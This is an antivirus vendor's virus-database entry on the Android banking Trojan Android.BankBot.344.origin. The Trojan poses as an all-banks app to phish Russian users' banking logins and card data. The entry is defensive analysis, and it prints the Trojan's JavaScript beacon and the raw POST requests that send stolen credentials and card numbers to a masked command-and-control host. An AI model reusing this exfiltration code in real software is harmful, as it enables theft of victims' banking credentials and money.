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Android.BankBot.344.origin

Added to Dr.Web virus database:2018-03-03
Virus description was added:2018-03-05

SHA1:

  • c724d4280918f1fc42aeeb7d491bea09e4990485

A Trojan for Android mobile devices. It is distributed under the guise of the universal mobile banking application “VSEBANKI – Vse banki v odnom meste” (ALLBANKS – all banks in one place), which supposedly provides access to services of various credit organizations. The Trojan is a modification of the Android.BankBot.336.origin banker designed to steal money from Russian users.

screenshot Android.BankBot.344.origin #drweb

The Trojan communicates with the command and control server via the WebView window. A certain JavaScript is executed for each request. For example, in order to inform the server of cybercriminals about successful infection of the mobile device, Android.BankBot.344.origin executes the following script after its launch:

var url = 'https://**api.info/api/input.php'; var params = 'type=1&data=<id>'; var xhr = new XMLHttpRequest(); xhr.open('POST', url, true); xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); xhr.send(params);

As a result, the following POST request is sent to the remote host:

POST https://**api.info/api/input.php HTTP/1.1
Host: **api.info
Connection: keep-alive
Content-Length: 23
Origin: null
User-Agent: Mozilla/5.0 (Linux; Android 5.1; Philips S337 Build/LMY47D; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.98 Mobile Safari/537.36
Content-type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US
X-Requested-With: tr.out.tbd

The Trojan has several phishing input forms designed to steal confidential information.

In the “Sign in” section, login credentials are requested to get access to online banking:

screenshot Android.BankBot.344.origin #drweb

When a user inputs their confidential information and attempts to log into their account, Android.BankBot.344.origin generates the POST request in the following manner:

POST https://**api.info/api/input.php HTTP/1.1
Host: **api.info
Connection: keep-alive
Content-Length: 70
Origin: null
User-Agent: Mozilla/5.0 (Linux; Android 5.1; Philips S337 Build/LMY47D; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.98 Mobile Safari/537.36
Content-type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US
X-Requested-With: tr.out.tbd
type=2&data=eCnw8x-9fow========sb========<логин>========<пароль>

and sends the obtained information to the cybercriminals’ server.

In the “Sign in” section, banking card data is requested.

screenshot Android.BankBot.344.origin #drweb

After clicking the registration button, Android.BankBot.344.origin generates another POST request and sends the obtained data to the command and control server.

POST https://**api.info/api/input.php HTTP/1.1
Host: **api.info
Connection: keep-alive
Content-Length: 85
Origin: null
User-Agent: Mozilla/5.0 (Linux; Android 5.1; Philips S337 Build/LMY47D; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.98 Mobile Safari/537.36
Content-type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US
X-Requested-With: tr.out.tbd
type=3&data=eCnw8x-9fow========tin========<номер карты>========<дата окончания срока действия карты>========<номер CVV>

The ability to intercept incoming SMS messages is implemented in the banker.

News about the Trojan

Curing recommendations


Android

  1. If the mobile device is operating normally, download and install Dr.Web for Android Light. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web для Android Light onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android

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